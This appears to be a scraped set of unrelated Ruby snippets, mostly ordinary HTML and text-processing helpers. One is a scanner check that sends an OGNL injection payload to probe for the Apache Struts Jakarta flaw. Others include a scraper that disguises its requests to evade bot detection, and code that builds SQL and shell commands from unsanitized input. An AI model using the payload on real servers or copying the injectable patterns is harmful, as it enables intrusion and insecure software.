future teachers</li>\"\n end\n if review_scores[51].comments == \"1\"\n code = code + \"<li>Is mostly based on researched information</li>\"\n end\n if review_scores[52].comments == \"1\"\n code = code + \"<li>Is applicable to today's schools</li>\"\n end\n if review_scores[53].comments == \"1\"\n code = code + \"<li>Provides a good overview and explores a few key ideas</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[54].comments == \"1\"\n code = code + \"<li>Has useful points but some irrelevant information</li>\"\n end\n if review_scores[55].comments == \"1\"\n code = code + \"<li>Is half research; half the author's opinion</li>\"\n end\n if review_scores[56].comments == \"1\"\n code = code + \"<li>Is partially out-dated or may not reflect current practice</li>\"\n end\n if review_scores[57].comments == \"1\"\n code = code + \"<li>Contains good information but yields an incomplete understanding</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[58].comments == \"1\"\n code = code + \"<li>Has one useful point</li>\"\n end\n if review_scores[59].comments == \"1\"\n code = code + \"<li>Is mostly the author's opinion.</li>\"\n end\n if review_scores[60].comments == \"1\"\n code = code + \"<li>Is mostly irrelevant in today's schools</li>\"\n end\n if review_scores[61].comments == \"1\"\n code = code + \"<li>Focused on unimportant subtopics OR is overly general</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\" \n if review_scores[62].comments == \"1\"\n code = code + \"<li>Is not relevant to future teachers</li>\"\n end\n if review_scores[63].comments == \"1\"\n code = code + \"<li>Is entirely the author's opinion</li>\"\n end\n if review_scores[64].comments == \"1\"\n code = code + \"<li>Is obsolete</li>\"\n end\n if review_scores[65].comments == \"1\"\n code = code + \"<li>Lacks any substantive information</li>\"\n end\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n code = code + \"<h3>Interest</h3>\"\n code = code +\n \"<div align=\\\"center\\\">To attract and maintain attention, the lesson has:</div><table class='general'>\n <tr>\n <th>5 - Extremely Interesting </th>\n <th>4 - Quite Interesting </th>\n <th>3 - Reasonably Interesting </th>\n <th>2 - Little Interest</th>\n <th>1 - No Interest </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[66].comments == \"1\"\n code = code + \"<li>A sidebar with new information that was motivating to read/view</li>\"\n end\n if review_scores[67].comments == \"1\"\n code = code + \"<li>Many creative, attractive visuals and engaging, interactive elements</li>\"\n end\n if review_scores[68].comments == \"1\"\n code = code + \"<li>Multiple perspectives</li>\"\n end\n if review_scores[69].comments == \"1\"\n code = code + \"<li>Insightful interpretation & analysis throughout</li>\"\n end\n if review_scores[70].comments == \"1\"\n code = code + \"<li>Many compelling examples that support the main points (it \\\"shows\\\" not just \\\"tells\\\")</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[71].comments == \"1\"\n code = code + \"<li>A sidebar that adds something new to the lesson</li>\"\n end\n if review_scores[72].comments == \"1\"\n code = code + \"<li>A few effective visuals or interactive elements</li>\"\n end\n if review_scores[73].comments == \"1\"\n code = code + \"<li>At least one interesting, fresh perspective</li>\"\n end\n if review_scores[74].comments == \"1\"\n code = code + \"<li>Frequent interpretation and analysis</li>\"\n end\n if review_scores[75].comments == \"1\"\n code = code + \"<li>Clearly explained and well supported points</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[76].comments == \"1\"\n code = code + \"<li>A sidebar that repeats what is in the lesson</li>\"\n end\n if review_scores[77].comments == \"1\"\n code = code + \"<li>An effective visual or interactive element</li>\"\n end\n if review_scores[78].comments == \"1\"\n code = code + \"<li>One reasonable (possibly typical) perspective</li>\"\n end\n if review_scores[79].comments == \"1\"\n code = code + \"<li>Some interpretation and analysis</li>\"\n end\n if review_scores[80].comments == \"1\"\n code = code + \"<li>Supported points</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[81].comments == \"1\"\n code = code + \"<li>A quote, link, etc. included as a sidebar, but that is not in a textbox</li>\"\n end\n if review_scores[82].comments == \"1\"\n code = code + \"<li>Visuals or interactive elements that are distracting</li>\"\n end\n if review_scores[83].comments == \"1\"\n code = code + \"<li>Only a biased perspective</li>\"\n end\n if review_scores[84].comments == \"1\"\n code = code + \"<li>Minimal analysis or interpretation</li>\"\n end\n if review_scores[85].comments == \"1\"\n code = code + \"<li>At least one clear and supported point</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[86].comments == \"1\"\n code = code + \"<li>No side bar included</li>\"\n end\n if review_scores[87].comments == \"1\"\n code = code + \"<li>No visuals or interactive elements</li>\"\n end\n if review_scores[88].comments == \"1\"\n code = code + \"<li>No perspective is acknowledged</li>\"\n end\n if review_scores[89].comments == \"1\"\n code = code + \"<li>No analysis or interpretation</li>\"\n end\n if review_scores[90].comments == \"1\"\n code = code + \"<li>No well-supported points</li>\"\n end\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n code = code + \"<h3>Credibility</h3>\"\n\n code = code +\n \"<div align=\\\"center\\\">To demonstrate its credibility the lesson:</div><table class='general'>\n <tr>\n <th>5 - Completely Credible </th>\n <th>4 - Substantial Credibility </th>\n <th>3 - Reasonable Credibility </th>\n <th>2 - Limited Credibility</th>\n <th>1 - Not Credible </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[91].comments == \"1\"\n code = code + \"<li>Cites 5 or more diverse, reputable sources in proper APA format</li>\"\n end\n if review_scores[92].comments == \"1\"\n code = code + \"<li>Provides citations for all presented information</li>\"\n end\n if review_scores[93].comments == \"1\"\n code = code + \"<li>Readily identifies bias: both the author's own and others</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[94].comments == \"1\"\n code = code + \"<li>Cites 5 or more diverse, reputable sources with few APA errors</li>\"\n end\n if review_scores[95].comments == \"1\"\n code = code + \"<li>Provides citations for most information</li>\"\n end\n if review_scores[96].comments == \"1\"\n code = code + \"<li>Clearly differentiates between opinion and fact</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[97].comments == \"1\"\n code = code + \"<li>Cites 5 or more reputable sources</li>\"\n end\n if review_scores[98].comments == \"1\"\n code = code + \"<li>Supports some claims with citation</li>\"\n end\n if review_scores[99].comments == \"1\"\n code = code + \"<li>Occasionally states opinion as fact</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[100].comments == \"1\"\n code = code + \"<li>Cites 4 or more reputable sources</li>\"\n end\n if review_scores[101].comments == \"1\"\n code = code + \"<li>Has several unsupported claims</li>\"\n end\n if review_scores[102].comments == \"1\"\n code = code + \"<li>Routinely states opinion as fact and fails to acknowledge bias</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[103].comments == \"1\"\n code = code + \"<li>Cites 3 or fewer reputable sources</li>\"\n end\n if review_scores[104].comments == \"1\"\n code = code + \"<li>Has mostly unsupported claims</li>\"\n end\n if review_scores[105].comments == \"1\"\n code = code + \"<li>Is very biased and contains almost entirely opinions</li>\"\n end\n\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n\n code = code + \"<h3>Pedagogy</h3>\"\n\n code = code +\n \"<div align=\\\"center\\\">To help guide the reader:</div><table class='general'>\n <tr>\n <th>5 - Superior </th>\n <th>4 - Effective </th>\n <th>3 - Acceptable </th>\n <th>2 - Deficient</th>\n <th>1 - Absent </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[106].comments == \"1\"\n code = code + \"<li>Specific, appropriate, observable learning targets establish the purpose of the lesson</li>\"\n end\n if review_scores[107].comments == \"1\"\n code = code + \"<li>The lesson accomplishes its established goals</li>\"\n end\n if review_scores[108].comments == \"1\"\n code = code + \"<li>Excellent knowledge and application MC questions align with learning targets and assess important content</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[109].comments == \"1\"\n code = code + \"<li>Specific and reasonable learning targets are stated</li>\"\n end\n if review_scores[110].comments == \"1\"\n code = code + \"<li>The lesson partially meets its established goals</li>\"\n end\n if review_scores[111].comments == \"1\"\n code = code + \"<li>Well constructed MC questions assess important content</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[112].comments == \"1\"\n code = code + \"<li>Reasonable learning targets are stated</li>\"\n end\n if review_scores[113].comments == \"1\"\n code = code + \"<li>The content relates to its goals</li>\"\n end\n if review_scores[114].comments == \"1\"\n code = code + \"<li>MC questions assess important content</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[115].comments == \"1\"\n code = code + \"<li>A learning target is included</li>\"\n end\n if review_scores[116].comments == \"1\"\n code = code + \"<li>Content does not achieve its goal, or goal is unclear</li>\"\n end\n if review_scores[117].comments == \"1\"\n code = code + \"<li>4 questions are included</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[118].comments == \"1\"\n code = code + \"<li>Learning target is missing/ not actually a learning target</li>\"\n end\n if review_scores[119].comments == \"1\"\n code = code + \"<li>Lesson has no goal/ content is unfocused</li>\"\n end\n if review_scores[120].comments == \"1\"\n code = code + \"<li>Questions are missing</li>\"\n end\n\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n code = code + \"<h3>Writing Quality</h3>\"\n\n code = code +\n \"<div align=\\\"center\\\">The writing:</div><table class='general'>\n <tr>\n <th>5 - Excellently Written </th>\n <th>4 - Well Written </th>\n <th>3 - Reasonably Written </th>\n <th>2 - Fairly Written</th>\n <th>1 - Poorly Written </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[121].comments == \"1\"\n code = code + \"<li>Is focused, organized, and easy to read throughout</li>\"\n end\n if review_scores[122].comments == \"1\"\n code = code + \"<li>Uses rich, descriptive vocabulary and a variety of effective sentence structures</li>\"\n end\n if review_scores[123].comments == \"1\"\n code = code + \"<li>Contains few to no mechanical errors</li>\"\n end\n if review_scores[124].comments == \"1\"\n code = code + \"<li>Has an effective introduction and a conclusion that synthesizes all of the material presented</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[125].comments == \"1\"\n code = code + \"<li>Is organized and flows well</li>\"\n end\n if review_scores[126].comments == \"1\"\n code = code + \"<li>Uses effective vocabulary and sentence structures</li>\"\n end\n if review_scores[127].comments == \"1\"\n code = code + \"<li>Contains a few minor mechanical errors</li>\"\n end\n if review_scores[128].comments == \"1\"\n code = code + \"<li>Has an effective introduction and conclusion based on included information</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[129].comments == \"1\"\n code = code + \"<li>Is mostly organized</li>\"\n end\n if review_scores[130].comments == \"1\"\n code = code + \"<li>Uses properly constructed sentences</li>\"\n end\n if review_scores[131].comments == \"1\"\n code = code + \"<li>Has a few distracting errors</li>\"\n end\n if review_scores[132].comments == \"1\"\n code = code + \"<li>Includes an introduction and a conclusion</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[133].comments == \"1\"\n code = code + \"<li>Can be difficult to follow</li>\"\n end\n if review_scores[134].comments == \"1\"\n code = code + \"<li>Contains several awkward sentences</li>\"\n end\n if review_scores[135].comments == \"1\"\n code = code + \"<li>Has several distracting errors</li>\"\n end\n if review_scores[136].comments == \"1\"\n code = code + \"<li>Lacks either an introduction or a conclusion</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[137].comments == \"1\"\n code = code + \"<li>Has minimal organization</li>\"\n end\n if review_scores[138].comments == \"1\"\n code = code + \"<li>Has many poorly constructed sentences</li>\"\n end\n if review_scores[139].comments == \"1\"\n code = code + \"<li>Has many mechanical errors that inhibit comprehension</li>\"\n end\n if review_scores[140].comments == \"1\"\n code = code + \"<li>Has neither a clear introduction nor a conclusion</li>\"\n end\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n #*******************Ratings************************\n code = code + \"<h2>Ratings</h2><hr>\"\n\n code = code + \"<h3>Importance</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[141].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[142].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Interest</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[143].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[144].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Credibility</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[145].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[146].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Pedagogy</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[147].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[148].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Writing Quality</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[149].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[150].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n rescue\n code += \"Error \" + $! \n end \n code\nend", "def _filters_halted() \"<html><body><h1>Filter Chain Halted!</h1></body></html>\" end", "def embedded_url\n\t\t\t\"#{self.base_url}/webapps/adaptivepayment/flow/pay?payKey=#{self[:pay_key]}#{\"&preapprovalkey=#{self[:preapproval_key]}\" if command == :preapproval}\" if webscr?\n\t\tend", "def do_adhoc(str)\n str.gsub!(/^\\\\cleardoublepage$/, \"\")\n str.gsub!(/^\\\\plainifnotempty$/, \"\")\n str.gsub!(/^\\\\small$/, \"\")\n str.gsub!(/^\\\\normalsize$/, \"\")\n str.gsub!(/^\\\\centering$/, \"\")\n\n # URL\n str.gsub!(/\\\\verb\\|(.+?)\\|/) do |m|\n s = $1\n if s =~ URI.regexp\n s\n else\n m\n end\n end\n\n text_pairs = {\n %! \\\\vspace*{-0.1\\\\Cvs}! => \"\",\n %!$10^{12} = 1 \\\\mathrm{TB}$! => %!@<raw>#{LBRACE}|html|10<sup>12</sup>#{RBRACE}=1TB!,\n %!$\\\\exists, \\\\forall$! => %!@<raw>#{LBRACE}|html|&exist;, &forall;#{RBRACE}!,\n %!$\\\\lnot,\\\\land,\\\\lor$! => %!@<raw>#{LBRACE}|html|&not;,&and;,&or;#{RBRACE}!,\n %!$>$! => %!@<raw>#{LBRACE}|html|&gt;#{RBRACE}!,\n %!$<$! => %!@<raw>#{LBRACE}|html|&lt;#{RBRACE}!,\n %!B$^+$! => %!@<raw>#{LBRACE}|html|B<sup>+</sup>#{RBRACE}!,\n %!\\\\paragraph{Step 4.} \\\\ ! => %!\\\\paragraph{Step 4.}!,\n %!\\\\verb|http://s2k-ftp.cs.berkeley.edu/ingres/|! => %!http://s2k-ftp.cs.berkeley.edu/ingres/!,\n %!\\\\verb|pc<code.size()|! => %!@<tt>#{LBRACE}pc<code.size()#{RBRACE}!,\n %!\\\\verb|c|! => %!@<tt>#{LBRACE}c#{RBRACE}!,\n %!\\\\verb|m|! => %!@<tt>#{LBRACE}m#{RBRACE}!,\n %!\\\\verb|z|! => %!@<tt>#{LBRACE}z#{RBRACE}!,\n %!$n$! => %!n!,\n %!$\\\\mathrm{O}(1)$! => %!O(1)!,\n %!$\\\\mathrm{O}(n)$! => %!O(n)!,\n %!$\\\\beta$! => %!@<raw>#{LBRACE}|html|&beta;#{RBRACE}!,\n %!$t$! => %!t!,\n %![$^{11}$C]! => %!@<raw>#{LBRACE}|html|[<sup>11</sup>C]#{RBRACE}!,\n }\n\n text_pairs.each do |k,v|\n regex = Regexp.compile(Regexp.quote(k))\n str.gsub!(regex, v)\n end\n\n str.gsub!(/^\\s*\\\\begin\\{lstlisting\\}\\n((?:.|\\n)*?)\\n\\s*\\\\end\\{lstlisting\\}\\n/) do |m|\n \"//emlist{\\n\" + $1 + \"\\n//}\\n\"\n end\n\n str.gsub!(/^\\s*\\\\begin\\{quote\\}\\n((?:.|\\n)*?)\\n\\s*\\\\end\\{quote\\}\\n/) do |m|\n \"//quote{\\n\" + $1 + \"\\n//}\\n\"\n end\n\n str.gsub!(/^\\s*\\\\(begin|end)\\{(minipage|center|figure)\\}.*$/, \"\")\n\n img_refs = Hash.new\n str.gsub!(/^\\s*\\\\includegraphics(?:\\[.*?\\])?\\{(.+?)\\}[\\s\\n]*\\\\caption\\{(.+?)\\}[\\s\\n]*\\\\label\\{(.+?)\\}/) do |m|\n imgfile = $1.strip\n caps = $2.strip\n label = $3.strip\n if imgfile =~ /\\.eps\\Z/\n imgfile = File.basename(imgfile, \".eps\")\n img_refs[label.strip] = imgfile\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n elsif imgfile =~ /\\.pdf\\Z/\n imgfile = File.basename(imgfile, \".pdf\")\n img_refs[label.strip] = imgfile\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n else\n m\n end\n end\n\n str.gsub!(/^\\s*\\\\includegraphics(?:\\[.*?\\])?\\{(.+?)\\}[\\s\\n]*\\\\caption\\{(.+?)\\}/) do |m|\n imgfile = File.basename($1.strip)\n caps = $2.strip\n imgfile.gsub!(/\\.\\w+\\Z/, \"\")\n \"\\n//image[#{imgfile}][#{caps}]{\\n//}\\n\"\n end\n\n str.gsub!(/図\\s*\\\\ref\\{([^\\}]*)\\}/) do |m|\n \"@<img>#{LBRACE}#{img_refs[$1.strip] || $1.strip}#{RBRACE}\"\n end\n\n str.gsub!(/^\\s*\\\\begin\\{enumerate\\}((?:.|\\n)*)\\s*\\\\end\\{enumerate\\}/) do |m|\n block = $1\n idx = 0\n if block =~ /\\\\begin/\n block\n else\n items = block.strip.split(/\\\\item\\s*/).select{|s| s.size > 0}\n items_str = \"\\n\"\n items.each do |item|\n items_str += \" \" + (idx += 1).to_s + \". \" + item.gsub(/\\n\\s*/,\"\").strip + \"\\n\"\n end\n items_str\n end\n end\n\n str.gsub!(/^\\s*\\\\begin\\{itemize\\}((?:.|\\n)*)\\s*\\\\end\\{itemize\\}/) do |m|\n block = $1\n if block =~ /\\\\begin/\n block\n else\n items = block.strip.split(/\\\\item\\s*/).select{|s| s.size > 0}\n items_str = \"\\n\"\n items.each do |item|\n items_str += \" * \" + item.gsub(/\\n\\s*/,\"\").strip + \"\\n\"\n end\n items_str\n end\n end\n\n # brainfuck\n str.gsub!(/\\\\verb\\|([-+><,\\.\\[\\] ]+)\\|/) do |m|\n %!@<tt>#{LBRACE}#{$1}#{RBRACE}!\n end\n\n # file url in hoge.tex\n str.gsub!(/\\{\\\\scriptsize((?:.|\\n)+?)\\}/) do |m|\n s = $~[1].strip\n if s.strip =~ URI.regexp && s == $~[0]\n s\n else\n m\n end\n end\n\n str\nend", "def submit(form, button = T.unsafe(nil), headers = T.unsafe(nil)); end", "def html(str)\n @headers[Rack::CONTENT_TYPE] = ContentType::HTML\n write(str)\n end", "def on_request_uri(cli, request)\r\n random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'\r\n send_response(cli, random_content)\r\n\r\n @received_request = true\r\n end", "def doPost(url)\n init\n checkHTTP(url)\n display\nend", "def search_ah_link(atk, health, content)\n string = \"<a href='#{@search_url}type=troop&atk=#{atk}&health=#{health}'>#{content}</a>\"\nend", "def post(url)\n options = { :body => { \n :__VIEWSTATE => '/wEPDwUJNTI1NzY5NDcyD2QWAgIDD2QWFAIfDw8WBB4EVGV4dAUPQ29udGFpbiBTZWFyY2g6HgdWaXNpYmxlZ2RkAiEPEA8WAh8BZ2RkZGQCLQ8QDxYGHg1EYXRhVGV4dEZpZWxkBQ1EaXN0cmljdF9OYW1lHg5EYXRhVmFsdWVGaWVsZAUNRGlzdHJpY3RfQ29kZR4LXyFEYXRhQm91bmRnZBAVFAZTRUxFQ1QjQmFua3VyYSAgICAgICAgICAgICAgICAgICAgICAgIFswMV0jQnVyZHdhbiAgICAgICAgICAgICAgICAgICAgICAgIFswMl0jQmlyYmh1bSAgICAgICAgICAgICAgICAgICAgICAgIFswM10jRGFyamVlbGluZyAgICAgICAgICAgICAgICAgICAgIFswNF0jSG93cmFoICAgICAgICAgICAgICAgICAgICAgICAgIFswNV0jSG9vZ2hseSAgICAgICAgICAgICAgICAgICAgICAgIFswNl0jSmFscGFpZ3VyaSAgICAgICAgICAgICAgICAgICAgIFswN10jQ29vY2hiZWhhciAgICAgICAgICAgICAgICAgICAgIFswOF0jTWFsZGEgICAgICAgICAgICAgICAgICAgICAgICAgIFswOV0jUGFzY2hpbSBNaWRuYXBvcmUgICAgICAgICAgICAgIFsxMF0jUHVyYmEgTWlkbmFwb3JlICAgICAgICAgICAgICAgIFsxMV0jTXVyc2hpZGFiYWQgICAgICAgICAgICAgICAgICAgIFsxMl0jTmFkaWEgICAgICAgICAgICAgICAgICAgICAgICAgIFsxM10jUHVydWxpYSAgICAgICAgICAgICAgICAgICAgICAgIFsxNF0jTm9ydGggMjQtUGFyZ2FuYXMgICAgICAgICAgICAgIFsxNV0jU291dGggMjQtUGFyZ2FuYXMgICAgICAgICAgICAgIFsxNl0jRGFrc2hpbiBEaW5hanB1ciAgICAgICAgICAgICAgIFsxN10jVXR0YXIgRGluYWpwdXIgICAgICAgICAgICAgICAgIFsxOF0jS29sa2F0YSAgICAgICAgICAgICAgICAgICAgICAgIFsxOV0VFAEwAjAxAjAyAjAzAjA0AjA1AjA2AjA3AjA4AjA5AjEwAjExAjEyAjEzAjE0AjE1AjE2AjE3AjE4AjE5FCsDFGdnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnFgFmZAIxDxAPFggfAgUKQkxPQ0tfTkFNRR8DBQpCTE9DS19DT0RFHwRnHgdFbmFibGVkZ2QQFQEDQUxMFQEAFCsDAWcWAWZkAjMPDxYEHwAFC1BhbmNoYXlhdCA6HwFoZGQCNQ8QDxYKHwIFB0dQX05BTUUfAwUHR1BfQ09ERR8EZx8BaB8FaGQQFQAVABQrAwAWAGQCNw8PFgQfAAUHTW91emEgOh8BaGRkAjkPEA8WCB8CBQtFTkdfTU9VTkFNRR8DBQdtb3Vjb2RlHwRnHwFoZBAVABUAFCsDABYAZAI7DxAPFgIfAWdkZBYBZmQCPw88KwALAgAPFgoeC18hSXRlbUNvdW50Zh4IRGF0YUtleXMWAB8BaB4JUGFnZUNvdW50AgEeFV8hRGF0YVNvdXJjZUl0ZW1Db3VudGZkATwrABQCAzwrAAQBABYCHwFnBDwrAAQBABYCHwFoZGR/u9mK2BOq0HHWP5gKuP0KvXCJ3A==',\n :__EVENTTARGET => 'ddlDistrict', \n :__EVENTARGUMENT => ''\n }}\n self.class.post(url, options)\n end", "def run\n super\n\n # first, ensure we're fingerprinted\n require_enrichment\n\n uri = _get_entity_name\n\n headers = {}\n headers[\"Content-Type\"] = \"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Intrigue-Struts',888*888)}.multipart/form-data\"\n response = http_request(:get, uri, nil, headers) # no auth\n\n unless response\n _log_error \"No response received\"\n return\n end\n\n # show the response in the logs \n response.headers.each {|x| _log \"#{x}: #{response.headers[x]}\"}\n \n if response.headers['X-Intrigue-Struts'] =~ /788544/\n \n instance_details = { \n proof: \"#{response.headers['X-Intrigue-Struts']}\",\n }\n _create_linked_issue \"apache_struts_jakarta_parser\", instance_details\n end\n end", "def make_page(keyword, previous_keyword)\n encoded_keyword = URI::encode(keyword).gsub(/&/, '%26')\n cookie_head1 = (0...rand(30) + 10).map {(65 + rand(2) * 32 + rand(26)).chr}.join\n cookie_message1 = (0...rand(50) + 10).map {(48 + (rand(2) * (49 + rand(17))) + rand(9)).chr}.join\n\n cookie_head2 = (0...rand(40) + 20).map { (48 + rand(79)).chr }.join\n cookie_message2 = (0...rand(60) + 15).map { (48 + rand(79)).chr }.join\n\n\n if rand(2) == 0\n accept = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'\n else\n accept = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'\n end\n accept_language = \"ko-kr,ko;q=0.8,en-us;q=0.'#{rand(1) + 5}',en;q=0.'#{rand(1) + 3}'\"\n\n if rand(3) == 0 or previous_keyword == nil\n referer = 'http://www.naver.com/'\n else\n referer = @base_url + previous_keyword\n end\n\n if rand(2) == 0\n user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0'\n else\n user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'\n end\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n 'Accept' => accept,\n cookie_head1 => cookie_message1,\n cookie_head2 => cookie_message2,\n 'Accept-Language' => accept_language,\n 'Connection' => 'keep-alive',\n 'Host' => 'search.naver.com',\n 'Referer' => referer,\n 'User-Agent' => user_agent))\n=begin\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n cookie_head1 => cookie_message1,\n cookie_head2 => cookie_message2,\n 'Accept-Language' => accept_language,\n 'User-Agent' => user_agent,\n :proxy => URI.parse('http://111.1.36.26:80')))\n=end\n\n=begin\n case cookie_type % 5\n when 0\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n cookie_head1 => cookie_message1,\n cookie_head2 => cookie_message2,\n 'Accept-Language' => accept_language,\n 'User-Agent' => user_agent))\n when 1\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n 'Accept' => accept,\n 'Referer' => referer,\n 'asdf' => 'wer',\n cookie_head2 => cookie_message2))\n when 2\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n 'Connection' => 'keep-alive',\n cookie_head2 => cookie_message1,\n 'Host' => 'search.naver.com'))\n when 3\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n 'Accept' => accept,\n 'Accept-Language' => accept_language,\n 'Connection' => 'keep-alive',\n 'Referer' => referer,\n cookie_head1 => cookie_message2,\n 'User-Agent' => user_agent))\n when 4\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n cookie_head2 => cookie_message2,\n 'Referer' => referer))\n end\n=end\n=begin\n page = Nokogiri::HTML(open(@base_url + encoded_keyword,\n 'Accept' => accept,\n 'Accept-Language' => accept_language,\n 'Connection' => 'keep-alive',\n 'Host' => 'search.naver.com',\n 'Referer' => referer,\n 'User-Agent' => user_agent))\n\n page = Nokogiri::HTML(open(@base_url + URI::encode(keyword),\n 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language' => 'ko-kr,ko;q=0.8,en-us;q=0.5,en;q=0.3',\n 'Connection' => 'keep-alive',\n 'Host' => 'search.naver.com',\n 'Referer' => 'http://www.naver.com/',\n 'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'))\n=end\n page\n end", "def html_open; \"<html>\"; end", "def h(string)\n Rack::Utils.escape_html(string)\n end", "def do_X(req, resp, rtype)\n if(req.query) then\n thep = ''\n req.query.each do |key, val|\n thep += \"KEY: #{CGI::escapeHTML(key.inspect)} == VAL: #{CGI::escapeHTML(val.inspect)}\\n\"\n end\n return '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\"><HTML><HEAD><TITLE>TEST' +\n \"</TITLE></HEAD><BODY><H1>#{rtype} TEST</H1><PRE>#{thep}</PRE><br><br><br><hr></BODY></HTML>\";\n else\n return '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\"><HTML><HEAD><TITLE>TEST ERROR' +\n '</TITLE></HEAD><BODY><H1>TEST ERROR</H1><br><br><br><hr></BODY></HTML>';\n end\n end", "def grab_html\n\t\t@unbendable_html = HTTParty.get('http://finance.yahoo.com/q?s=TSLA')\n\tend", "def insertIndustriesData(sector_id,sector_url)\n#\tputs sector_id + ' ' + \n\n\nif File.file? 'output.html'\nrun 'rm output.html', ''\nend\n\n\nrun 'curl ' + sector_url + '>output.html', ''\nsleep(0.2)\n\n\nif File.file? 'output.html'\n\tfileString=\"\"\n\tfile = File.open(\"output.html\")\n\tfile.each {|line|\n\tfileString << line\n\t}\nend\n\n\n\n\n\narry1=fileString.scan(/<a\\nhref=([0-9]+)conameu.html><font\\nface=arial\\nsize=-1>([^<]+)</).to_a\n\n\nfor element in arry1\n\n\n\t#puts element[0] + 'conameu.html' + ' ' + element[1].gsub(/\\n/,' ')\n\nindustriesUrl= 'http://biz.yahoo.com/p/' + element[0] + 'conameu.html'\n\nindustriesName=element[1].gsub(/\\n/,' ')\n\nstrSql= 'insert into industries (industries_name,industries_url,sector_id) values ('\nstrSql=strSql + '\\'' + industriesName + '\\',\\'' + industriesUrl + '\\',' + sector_id + ')'\nSqlExec(strSql)\n\nsleep(0.2)\n\n\n\n\nend\n\n\nend", "def url_for(string); end", "def header_string\n HTML.form(@attrib).string.gsub('</form>','')\n end", "def get_user_request\n\t\tputs \"Welcome to Tiny Browser\"\n\t\tprint \"Which type of request would you like (GET or POST)? 